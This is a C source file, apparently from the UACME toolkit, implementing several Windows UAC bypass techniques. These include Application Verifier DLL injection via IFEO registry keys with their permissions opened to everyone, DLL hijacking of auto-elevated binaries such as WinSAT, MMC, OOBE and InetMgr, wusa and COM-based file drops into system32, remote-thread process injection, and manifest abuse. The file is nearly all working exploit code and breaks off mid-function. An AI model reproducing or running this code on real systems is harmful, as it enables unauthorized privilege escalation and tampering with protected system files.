UACME/Source/Akagi/methods/hybrids.c

2015 lines
55 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2015 - 2017
*
* TITLE: HYBRIDS.C
*
* VERSION: 2.75
*
* DATE: 30 June 2017
*
* Hybrid UAC bypass methods.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "makecab.h"
#include "manifest.h"
ELOAD_PARAMETERS_SIREFEF g_ElevParamsSirefef;
/*
* ucmAvrfMethod
*
* Purpose:
*
* Acquire elevation through Application Verifier dll injection.
*
*/
BOOL ucmAvrfMethod(
CONST PVOID AvrfDll,
DWORD AvrfDllSize
)
{
BOOL bResult = FALSE, cond = FALSE, bWusaNeedCleanup = FALSE;
HKEY hKey = NULL, hSubKey = NULL;
LRESULT lRet;
DWORD dwValue = 0x100; // FLG_APPLICATION_VERIFIER;
WCHAR szBuffer[MAX_PATH * 2];
WCHAR szSourceDll[MAX_PATH * 2];
UNICODE_STRING ustr;
OBJECT_ATTRIBUTES obja;
if (
(AvrfDll == NULL) ||
(AvrfDllSize == 0)
)
{
return bResult;
}
do {
//
// Extract file to the protected directory.
// First, create cab with fake msu ext, second run fusion process.
//
RtlSecureZeroMemory(szSourceDll, sizeof(szSourceDll));
_strcpy(szSourceDll, g_ctx.szTempDirectory);
_strcat(szSourceDll, HIBIKI_DLL);
bWusaNeedCleanup = ucmCreateCabinetForSingleFile(szSourceDll, AvrfDll, AvrfDllSize, NULL);
if (!bWusaNeedCleanup)
break;
// Drop Hibiki to system32
if (!ucmWusaExtractPackage(g_ctx.szSystemDirectory))
break;
//
// Set new key security DACL.
// Red Alert: manually restore IFEO key permissions after using this tool, as they are not inherited.
//
if (!ucmMasqueradedAlterObjectSecurityCOM(
T_IFEO,
DACL_SECURITY_INFORMATION,
SE_REGISTRY_KEY,
T_SDDL_ALL_FOR_EVERYONE)) break;
//
// Open IFEO key.
//
RtlSecureZeroMemory(&ustr, sizeof(ustr));
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, L"\\REGISTRY\\");
_strcat(szBuffer, T_IFEO);
RtlInitUnicodeString(&ustr, szBuffer);
InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, NULL, NULL);
if (!NT_SUCCESS(NtOpenKey(&hKey, MAXIMUM_ALLOWED, &obja)))
break;
//
// Create application key.
//
hSubKey = NULL;
lRet = RegCreateKey(hKey, CLICONFG_EXE, &hSubKey);
if ((hSubKey == NULL) || (lRet != ERROR_SUCCESS))
break;
//
// Set verifier flag value.
//
lRet = RegSetValueEx(hSubKey, TEXT("GlobalFlag"), 0, REG_DWORD, (BYTE*)&dwValue, sizeof(DWORD));
if (lRet != ERROR_SUCCESS)
break;
//
// Set verifier dll value.
//
dwValue = (DWORD)((1 + _strlen(HIBIKI_DLL)) * sizeof(WCHAR));
lRet = RegSetValueEx(hSubKey, TEXT("VerifierDlls"), 0, REG_SZ, (BYTE*)&HIBIKI_DLL, dwValue);
if (lRet != ERROR_SUCCESS)
break;
//
// Cleanup registry, we don't need anymore.
//
RegCloseKey(hSubKey);
hSubKey = NULL;
NtClose(hKey);
hKey = NULL;
//
// Extract file to the protected directory.
// First, create cab with fake msu ext, second run fusion process.
//
RtlSecureZeroMemory(szSourceDll, sizeof(szSourceDll));
_strcpy(szSourceDll, g_ctx.szTempDirectory);
_strcat(szSourceDll, HIBIKI_DLL);
if (ucmCreateCabinetForSingleFile(szSourceDll, AvrfDll, AvrfDllSize, NULL)) {
// Drop Hibiki to system32
if (ucmWusaExtractPackage(g_ctx.szSystemDirectory)) {
// Finally run target fusion process.
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, CLICONFG_EXE);
bResult = supRunProcess(szBuffer, NULL);
}
ucmWusaCabinetCleanup();
}
} while (cond);
if (hKey != NULL) {
NtClose(hKey);
}
if (hSubKey != NULL) {
RegCloseKey(hSubKey);
}
if (bWusaNeedCleanup) {
ucmWusaCabinetCleanup();
}
return bResult;
}
/*
* ucmWinSATMethod
*
* Purpose:
*
* Acquire elevation through abusing APPINFO.DLL whitelisting model logic and wusa installer/IFileOperation autoelevation.
* Slightly modified target and proxydll can work almost with every autoelevated/whitelisted application.
* This method uses advantage of wusa to write to the protected folders, but can be adapted to IFileOperation too.
* WinSAT used for demonstration purposes only.
*
*/
BOOL ucmWinSATMethod(
LPWSTR lpTargetDll,
PVOID ProxyDll,
DWORD ProxyDllSize,
BOOL UseWusa
)
{
BOOL bResult = FALSE, cond = FALSE;
CABDATA *Cabinet = NULL;
WCHAR szSource[MAX_PATH * 2];
WCHAR szDest[MAX_PATH * 2];
WCHAR szBuffer[MAX_PATH * 2];
if (
(ProxyDll == NULL) ||
(ProxyDllSize == 0) ||
(lpTargetDll == NULL)
)
{
return bResult;
}
if (_strlen(lpTargetDll) > 100) {
return bResult;
}
RtlSecureZeroMemory(szSource, sizeof(szSource));
RtlSecureZeroMemory(szDest, sizeof(szDest));
do {
_strcpy(szSource, g_ctx.szSystemDirectory);
_strcat(szSource, WINSAT_EXE);
_strcpy(szDest, g_ctx.szTempDirectory);
_strcat(szDest, WINSAT_EXE);
// Copy winsat to temp directory
if (!CopyFile(szSource, szDest, FALSE)) {
supDebugPrint(TEXT("ucmWinSATMethod"), GetLastError());
break;
}
//put target dll
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, lpTargetDll);
//write proxy dll to disk
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
break;
}
//
// Two options: use wusa installer or IFileOperation
//
if (UseWusa) {
//build cabinet
_strcpy(szBuffer, g_ctx.szTempDirectory);
_strcat(szBuffer, ELLOCNAK_MSU);
Cabinet = cabCreate(szBuffer);
if (Cabinet) {
_strcpy(szDest, g_ctx.szTempDirectory);
_strcat(szDest, WINSAT_EXE);
//put proxy dll inside cabinet
cabAddFile(Cabinet, szSource, lpTargetDll);
//put winsat.exe
cabAddFile(Cabinet, szDest, WINSAT_EXE);
cabClose(Cabinet);
Cabinet = NULL;
}
else {
break;
}
//extract package
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, SYSPREP_DIR);
bResult = ucmWusaExtractPackage(szBuffer);
}
else {
//wusa extract banned, switch to IFileOperation.
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, SYSPREP_DIR);
bResult = ucmMasqueradedMoveFileCOM(szSource, szBuffer);
if (!bResult) {
break;
}
bResult = ucmMasqueradedMoveFileCOM(szDest, szBuffer);
if (!bResult) {
break;
}
}
} while (cond);
if (bResult) {
//run winsat
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, SYSPREP_DIR);
_strcat(szBuffer, WINSAT_EXE);
bResult = supRunProcess(szBuffer, NULL);
//cleanup of the above files must be done by payload code
}
if (Cabinet) {
cabClose(Cabinet);
}
//remove trash from %temp%
if (szDest[0] != 0) {
DeleteFileW(szDest);
}
if (szSource[0] != 0) {
DeleteFileW(szSource);
}
return bResult;
}
/*
* ucmMMCMethod
*
* Purpose:
*
* Bypass UAC by abusing MMC.exe backdoor hardcoded in appinfo.dll
*
*/
BOOL ucmMMCMethod(
UCM_METHOD Method,
LPWSTR lpTargetDll,
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, cond = FALSE;
LPWSTR lpMscFile = NULL;
WCHAR szSource[MAX_PATH * 2];
WCHAR szDest[MAX_PATH * 2];
if ((ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL)) {
return bResult;
}
if (_strlen(lpTargetDll) > 100) {
return bResult;
}
do {
//check if file exists (like on srv for example)
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
switch (Method) {
case UacMethodMMC2:
_strcat(szDest, WBEM_DIR);
break;
default:
break;
}
_strcat(szDest, lpTargetDll);
if (PathFileExists(szDest)) {
supDebugPrint(TEXT("ucmMMCMethod"), ERROR_ALREADY_EXISTS);
break;
}
//target dir
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
switch (Method) {
case UacMethodMMC2:
_strcat(szDest, WBEM_DIR);
lpMscFile = RSOP_MSC;
break;
default:
lpMscFile = EVENTVWR_MSC;
break;
}
//put target dll
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, lpTargetDll);
//write proxy dll to disk
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
break;
}
//move proxy dll to target directory
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
//run mmc console
//because of mmc harcoded backdoor uac will autoelevate mmc with valid and trusted MS command.
//yuubari identified multiple exploits in msc commands loading scheme.
bResult = supRunProcess(MMC_EXE, lpMscFile);
} while (cond);
return bResult;
}
/*
* ucmElevatedLaunchProc
*
* Purpose:
*
* Elevation procedure used by Sirefef method
*
*/
DWORD WINAPI ucmElevatedLaunchProc(
ELOAD_PARAMETERS_SIREFEF *elvpar
)
{
SHELLEXECUTEINFOW shexec;
if (elvpar == NULL)
return (DWORD)E_FAIL;
shexec.cbSize = sizeof(shexec);
shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
shexec.nShow = SW_SHOW;
shexec.lpVerb = elvpar->szVerb;
shexec.lpFile = elvpar->szTargetApp;
shexec.lpParameters = NULL;
shexec.lpDirectory = NULL;
if (elvpar->xShellExecuteExW(&shexec))
if (shexec.hProcess != NULL) {
elvpar->xWaitForSingleObject(shexec.hProcess, INFINITE);
elvpar->xCloseHandle(shexec.hProcess);
}
return S_OK;
}
/*
* ucmSirefefBuildControlContext
*
* Purpose:
*
* Preparations for Sirefef method.
*
*/
PZA_CONTROL_CONTEXT ucmSirefefBuildControlContext(
VOID
)
{
BOOL bCond = FALSE, bSuccess = FALSE;
ZA_CONTROL_CONTEXT *ctx = NULL;
SIZE_T sz;
PVOID Routine;
do {
sz = sizeof(ZA_CONTROL_CONTEXT);
NtAllocateVirtualMemory(NtCurrentProcess(), &ctx, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (ctx == NULL)
break;
RtlSecureZeroMemory(ctx, sz);
Routine = supNativeGetProcAddress(KERNEL32_DLL, "CopyFileW");
if (Routine == NULL)
break;
ctx->pCopyFileW = RtlEncodePointer(Routine);
Routine = supNativeGetProcAddress(KERNEL32_DLL, "CreateRemoteThread");
if (Routine == NULL)
break;
ctx->pCreateRemoteThread = RtlEncodePointer(Routine);
Routine = supNativeGetProcAddress(KERNEL32_DLL, "WaitForSingleObject");
if (Routine == NULL)
break;
ctx->pWaitForSingleObject = RtlEncodePointer(Routine);
Routine = supNativeGetProcAddress(KERNEL32_DLL, "WriteProcessMemory");
if (Routine == NULL)
break;
ctx->pWriteProcessMemory = RtlEncodePointer(Routine);
Routine = supNativeGetProcAddress(NTDLL_DLL, "NtClose");
if (Routine == NULL)
break;
ctx->pNtClose = RtlEncodePointer(Routine);
Routine = supNativeGetProcAddress(NTDLL_DLL, "NtAllocateVirtualMemory");
if (Routine == NULL)
break;
ctx->pNtAllocateVirtualMemory = RtlEncodePointer(Routine);
Routine = supNativeGetProcAddress(NTDLL_DLL, "NtTerminateProcess");
if (Routine == NULL)
break;
ctx->pNtTerminateProcess = RtlEncodePointer(Routine);
ctx->SfCopyFile = RtlEncodePointer(ucmMasqueradedMoveFileCOM);
ctx->ElevatedProcedure = RtlEncodePointer(ucmElevatedLaunchProc);
ctx->ElevatedParameters = &g_ElevParamsSirefef;
ctx->RunProcessEx = RtlEncodePointer(supRunProcessEx);
bSuccess = TRUE;
} while (bCond);
if (bSuccess == FALSE) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &ctx, &sz, MEM_RELEASE);
}
return ctx;
}
/*
* ucmSirefefMethod
*
* Purpose:
*
* Bypass UAC by abusing OOBE.exe backdoor hardcoded in appinfo.dll
*
*/
BOOL ucmSirefefMethod(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, bCond = FALSE;
ZA_CONTROL_CONTEXT *za_ctx = NULL;
SIZE_T sz;
DWORD c;
HANDLE hProcess = NULL, hRemoteThread = NULL;
HINSTANCE selfmodule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule;
PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
LPVOID remotebuffer = NULL, newEp, newDp;
if (
(ProxyDll == NULL) ||
(ProxyDllSize == 0)
)
{
return bResult;
}
do {
za_ctx = ucmSirefefBuildControlContext();
if (za_ctx == NULL)
break;
//put Fubuki dll as netutils to %temp%
_strcpy(za_ctx->szSource, g_ctx.szTempDirectory);
_strcat(za_ctx->szSource, NETUTILS_DLL);
if (!supWriteBufferToFile(za_ctx->szSource, ProxyDll, ProxyDllSize))
break;
//move dll to wbem target folder
_strcpy(za_ctx->szBuffer, g_ctx.szSystemDirectory);
_strcat(za_ctx->szBuffer, WBEM_DIR);
za_ctx->SfCopyFile = RtlDecodePointer(za_ctx->SfCopyFile);
bResult = za_ctx->SfCopyFile(za_ctx->szSource, za_ctx->szBuffer);
if (!bResult)
break;
//copy 1st stage target process
RtlSecureZeroMemory(za_ctx->szSource, sizeof(za_ctx->szSource));
_strcpy(za_ctx->szSource, g_ctx.szSystemDirectory);
_strcat(za_ctx->szSource, CREDWIZ_EXE);
RtlSecureZeroMemory(za_ctx->szDest, sizeof(za_ctx->szDest));
_strcpy(za_ctx->szDest, g_ctx.szTempDirectory);
_strcat(za_ctx->szDest, OOBE_EXE);
za_ctx->pCopyFileW = RtlDecodePointer(za_ctx->pCopyFileW);
if (!za_ctx->pCopyFileW(za_ctx->szSource, za_ctx->szDest, FALSE))
break;
bResult = za_ctx->SfCopyFile(za_ctx->szDest, za_ctx->szBuffer);
if (!bResult)
break;
//setup basic shellcode routines
za_ctx->pWaitForSingleObject = RtlDecodePointer(za_ctx->pWaitForSingleObject);
za_ctx->ElevatedParameters->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ctx.hShell32, "ShellExecuteExW");
za_ctx->ElevatedParameters->xWaitForSingleObject = (pfnWaitForSingleObject)za_ctx->pWaitForSingleObject;
za_ctx->pNtClose = RtlDecodePointer(za_ctx->pNtClose);
za_ctx->ElevatedParameters->xCloseHandle = (pfnCloseHandle)za_ctx->pNtClose;
//set shellcode 2nd stage target process
//c:\windows\system32\wbem\oobe.exe
RtlSecureZeroMemory(za_ctx->szBuffer, sizeof(za_ctx->szBuffer));
_strcpy(za_ctx->szBuffer, g_ctx.szSystemDirectory);
_strcat(za_ctx->szBuffer, WBEM_DIR);
_strcat(za_ctx->szBuffer, OOBE_EXE);
_strcpy(za_ctx->ElevatedParameters->szTargetApp, za_ctx->szBuffer);
_strcpy(za_ctx->ElevatedParameters->szVerb, RUNAS_VERB);
RtlSecureZeroMemory(za_ctx->szBuffer, sizeof(za_ctx->szBuffer));
_strcpy(za_ctx->szBuffer, g_ctx.szSystemDirectory); //c:\windows\system32\credwiz.exe
_strcat(za_ctx->szBuffer, CREDWIZ_EXE);
//run 1st stage target process
za_ctx->RunProcessEx = RtlDecodePointer(za_ctx->RunProcessEx);
hProcess = za_ctx->RunProcessEx(za_ctx->szBuffer, NULL, NULL, NULL);
if (hProcess == NULL)
break;
za_ctx->pNtAllocateVirtualMemory = RtlDecodePointer(za_ctx->pNtAllocateVirtualMemory);
sz = (SIZE_T)opth->SizeOfImage;
za_ctx->pNtAllocateVirtualMemory(hProcess, &remotebuffer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remotebuffer == NULL)
break;
za_ctx->pWriteProcessMemory = RtlDecodePointer(za_ctx->pWriteProcessMemory);
if (!za_ctx->pWriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &sz))
break;
za_ctx->ElevatedProcedure = RtlDecodePointer(za_ctx->ElevatedProcedure);
newEp = (char *)remotebuffer + ((char *)za_ctx->ElevatedProcedure - (char *)selfmodule);
newDp = (char *)remotebuffer + ((char *)za_ctx->ElevatedParameters - (char *)selfmodule);
za_ctx->pCreateRemoteThread = RtlDecodePointer(za_ctx->pCreateRemoteThread);
hRemoteThread = za_ctx->pCreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c);
if (hRemoteThread) {
za_ctx->pWaitForSingleObject(hRemoteThread, INFINITE);
za_ctx->pNtClose(hRemoteThread);
bResult = TRUE;
}
} while (bCond);
if (za_ctx != NULL) {
if (hProcess != NULL) {
za_ctx->pNtTerminateProcess = RtlDecodePointer(za_ctx->pNtTerminateProcess);
za_ctx->pNtTerminateProcess(hProcess, 0);
za_ctx->pNtClose(hProcess); //NtClose already decoded
}
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &za_ctx, &sz, MEM_RELEASE);
}
return bResult;
}
/*
* ucmGenericAutoelevation
*
* Purpose:
*
* Bypass UAC by abusing target autoelevated system32 application via missing system32 dll
*
*/
BOOL ucmGenericAutoelevation(
LPWSTR lpTargetApp,
LPWSTR lpTargetDll,
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, cond = FALSE;
WCHAR szSource[MAX_PATH * 2];
WCHAR szDest[MAX_PATH * 2];
if (
(ProxyDll == NULL) ||
(ProxyDllSize == 0) ||
(lpTargetApp == NULL) ||
(lpTargetDll == NULL)
)
{
return bResult;
}
if (_strlen(lpTargetDll) > 100) {
return bResult;
}
do {
//put target dll
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, lpTargetDll);
//write proxy dll to disk
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
break;
}
//target dir
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
//drop payload to system32
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
//run target app
bResult = supRunProcess(lpTargetApp, NULL);
} while (cond);
return bResult;
}
/*
* ucmGWX
*
* Purpose:
*
* Bypass UAC by abusing newly added appinfo.dll backdoor.
* IIS initially not installed in Windows client, but appinfo.dll whitelists IIS application as autoelevated.
* We will use backdoor from "Get Windows 10" bullshit marketing promo package and exploit it with dll hijacking as usual.
*
* Since this method very out-dated (GWX program expired long time ago) starting from 2.5.6 Kongou module removed from program resources.
* To use it again place KongouXX.cd to the program directory, where XX is platform (32 or 64).
* Kongou located in project "bin" directory in encrypted and compressed state, Akagi will load, decrypt and decompress it.
*
*/
BOOL ucmGWX(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, cond = FALSE;
SIZE_T Dummy;
WCHAR szDest[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
WCHAR szTargetApp[MAX_PATH * 2];
PVOID Data = NULL, Ptr = NULL;
ULONG DecompressedBufferSize = 0, DataSize = 0;
if ((ProxyDll == NULL) || (ProxyDllSize == 0))
return FALSE;
do {
//target dir
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
_strcat(szDest, INETSRV_DIR);
_strcat(szDest, INETMGR_EXE);
//File already exist, so IIS could be installed
if (PathFileExists(szDest)) {
supDebugPrint(TEXT("ucmGWX"), ERROR_ALREADY_EXISTS);
break;
}
//summon some unicorns, kongouXX.cd expected to be in the same directory as application
Ptr = supReadFileToBuffer(KONGOU_CD, &DataSize);
if (Ptr == NULL) {
supDebugPrint(TEXT("ucmGWX"), ERROR_FILE_NOT_FOUND);
break;
}
Data = DecompressPayload(Ptr, DataSize, &DecompressedBufferSize);
if (Data == NULL)
break;
//write proxy dll to disk
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, SLC_DLL);
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize))
break;
//drop fubuki to system32\inetsrv
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
_strcat(szDest, INETSRV_DIR);
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
//put target app
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, INETMGR_EXE);
//write app to disk
if (!supWriteBufferToFile(szSource, Data, DecompressedBufferSize)) {
break;
}
//drop InetMgr.exe to system32\inetsrv
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
_strcpy(szTargetApp, szDest);
_strcat(szTargetApp, INETMGR_EXE);
bResult = supRunProcess(szTargetApp, NULL);
} while (cond);
if (Data != NULL) {
Dummy = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &Data, &Dummy, MEM_RELEASE);
}
if (Ptr != NULL) {
Dummy = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &Ptr, &Dummy, MEM_RELEASE);
}
return bResult;
}
/*
* ucmAutoElevateManifestDropDll
*
* Purpose:
*
* Drop target dll for ucmAutoElevateManifest.
*
*/
BOOL ucmAutoElevateManifestDropDll(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
WCHAR szDest[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, CRYPTBASE_DLL);
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
return FALSE;
}
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
_strcat(szDest, SYSPREP_DIR);
return ucmMasqueradedMoveFileCOM(szSource, szDest);
}
/*
* ucmAutoElevateManifestW7
*
* Purpose:
*
* Special case for Windows 7.
*
*/
BOOL ucmAutoElevateManifestW7(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, bCond = FALSE;
WCHAR szDest[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
LPWSTR lpApplication = NULL;
do {
RtlSecureZeroMemory(szSource, sizeof(szSource));
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szSource, g_ctx.szSystemDirectory);
_strcpy(szDest, g_ctx.szTempDirectory);
lpApplication = TASKHOST_EXE;//doesn't really matter, Yuubari module lists multiple targets
_strcat(szSource, lpApplication);
_strcat(szDest, lpApplication);
// Copy target to temp directory
if (!CopyFile(szSource, szDest, FALSE)) {
supDebugPrint(TEXT("ucmAutoElevateManifestW7"), ERROR_FILE_NOT_FOUND);
break;
}
_strcpy(szSource, szDest);
// Copy target app to windir
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, USER_SHARED_DATA->NtSystemRoot);
_strcat(szDest, TEXT("\\"));
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
bResult = ucmAutoElevateManifestDropDll(ProxyDll, ProxyDllSize);
if (!bResult) {
break;
}
//put target manifest
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, lpApplication);
_strcat(szSource, MANIFEST_EXT);
if (!supWriteBufferToFile(szSource, (PVOID)ManifestData, sizeof(ManifestData))) {
break;
}
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, USER_SHARED_DATA->NtSystemRoot);
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
_strcat(szDest, L"\\");
_strcat(szDest, lpApplication);
bResult = supRunProcess(szDest, NULL);
} while (bCond);
return bResult;
}
/*
* ucmAutoElevateManifest
*
* Purpose:
*
* Bypass UAC by abusing appinfo whitelist and SXS undocumented feature.
* Ironically revealed by Microsoft itself in their attempt to fix UAC exploit.
* Supported at Windows 7 minimum (older versions not checked).
*
*/
BOOL ucmAutoElevateManifest(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, bCond = FALSE;
WCHAR szDest[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
LPWSTR lpApplication = NULL;
if ((ProxyDll == NULL) || (ProxyDllSize == 0))
return bResult;
do {
if (g_ctx.dwBuildNumber < 9600) {
bResult = ucmAutoElevateManifestW7(ProxyDll, ProxyDllSize);
break;
}
RtlSecureZeroMemory(szSource, sizeof(szSource));
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szSource, g_ctx.szSystemDirectory);
_strcpy(szDest, g_ctx.szTempDirectory);
_strcat(szSource, TZSYNC_EXE); //doesn't really matter, Yuubari module lists multiple targets
lpApplication = MIGWIZ_EXE;
_strcat(szDest, lpApplication);
// Copy target to temp directory
if (!CopyFile(szSource, szDest, FALSE)) {
supDebugPrint(TEXT("ucmAutoElevateManifest"), ERROR_FILE_NOT_FOUND);
break;
}
_strcpy(szSource, szDest);
// Copy target app to home
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
bResult = ucmAutoElevateManifestDropDll(ProxyDll, ProxyDllSize);
if (!bResult) {
break;
}
//put target manifest
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, lpApplication);
_strcat(szSource, MANIFEST_EXT);
if (!supWriteBufferToFile(szSource, (PVOID)ManifestData, sizeof(ManifestData))) {
break;
}
RtlSecureZeroMemory(szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
bResult = ucmMasqueradedMoveFileCOM(szSource, szDest);
if (!bResult) {
break;
}
_strcpy(szDest, g_ctx.szSystemDirectory);
_strcat(szDest, lpApplication);
bResult = supRunProcess(szDest, NULL);
} while (bCond);
return bResult;
}
/*
* ucmInetMgrFindCallback
*
* Purpose:
*
* File search callback which does all the magic.
*
*/
BOOL ucmInetMgrFindCallback(
WIN32_FIND_DATA *fdata,
LPWSTR lpDirectory,
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bCond = FALSE, bSuccess = FALSE;
SIZE_T l = 0;
HANDLE hFile = INVALID_HANDLE_VALUE, hFileMapping = NULL;
PDWORD MappedFile = NULL;
LARGE_INTEGER FileSize;
CFILE_TYPE ft;
PVOID OutputBuffer = NULL;
SIZE_T OutputBufferSize = 0;
WCHAR textbuf[MAX_PATH * 4];
WCHAR szDest[MAX_PATH * 2];
if (lpDirectory == NULL)
return FALSE;
do {
if (fdata->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
break;
if (_strcmpi(fdata->cFileName, INETMGR_EXE) != 0)
break;
RtlSecureZeroMemory(&textbuf, sizeof(textbuf));
_strcpy(textbuf, lpDirectory);
l = _strlen(textbuf);
if (textbuf[l - 1] != L'\\') {
textbuf[l] = L'\\';
textbuf[l + 1] = 0;
}
_strcat(textbuf, fdata->cFileName);
hFile = CreateFile(textbuf, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
break;
FileSize.QuadPart = 0;
if (!GetFileSizeEx(hFile, &FileSize))
break;
if (FileSize.QuadPart < 8)
break;
hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hFileMapping == NULL)
break;
MappedFile = MapViewOfFile(hFileMapping, PAGE_READWRITE, 0, 0, 0);
if (MappedFile == NULL)
break;
ft = GetTargetFileType(MappedFile);
if (ft == ftUnknown)
break;
switch (ft) {
case ftMZ: //win7
bSuccess = ProcessFileMZ(MappedFile, (SIZE_T)FileSize.LowPart, &OutputBuffer, &OutputBufferSize);
break;
case ftDCN://win8
bSuccess = ProcessFileDCN(MappedFile, (SIZE_T)FileSize.LowPart, &OutputBuffer, &OutputBufferSize);
break;
case ftDCS://win10
if (InitCabinetDecompressionAPI()) {
bSuccess = ProcessFileDCS(MappedFile, (SIZE_T)FileSize.LowPart, &OutputBuffer, &OutputBufferSize);
}
break;
default:
break;
}
//is there any error processing files from winsxs?
if (!bSuccess)
break;
RtlSecureZeroMemory(&textbuf, sizeof(textbuf));
_strcpy(textbuf, g_ctx.szTempDirectory);
_strcat(textbuf, INETMGR_EXE);
bSuccess = supWriteBufferToFile(textbuf, OutputBuffer, (DWORD)OutputBufferSize);
if (!bSuccess)
break;
RtlSecureZeroMemory(&szDest, sizeof(szDest));
_strcpy(szDest, g_ctx.szSystemDirectory);
_strcat(szDest, INETSRV_DIR);
bSuccess = ucmMasqueradedMoveFileCOM(textbuf, szDest);
if (!bSuccess)
break;
_strcpy(textbuf, g_ctx.szTempDirectory);
_strcat(textbuf, MSCOREE_DLL);
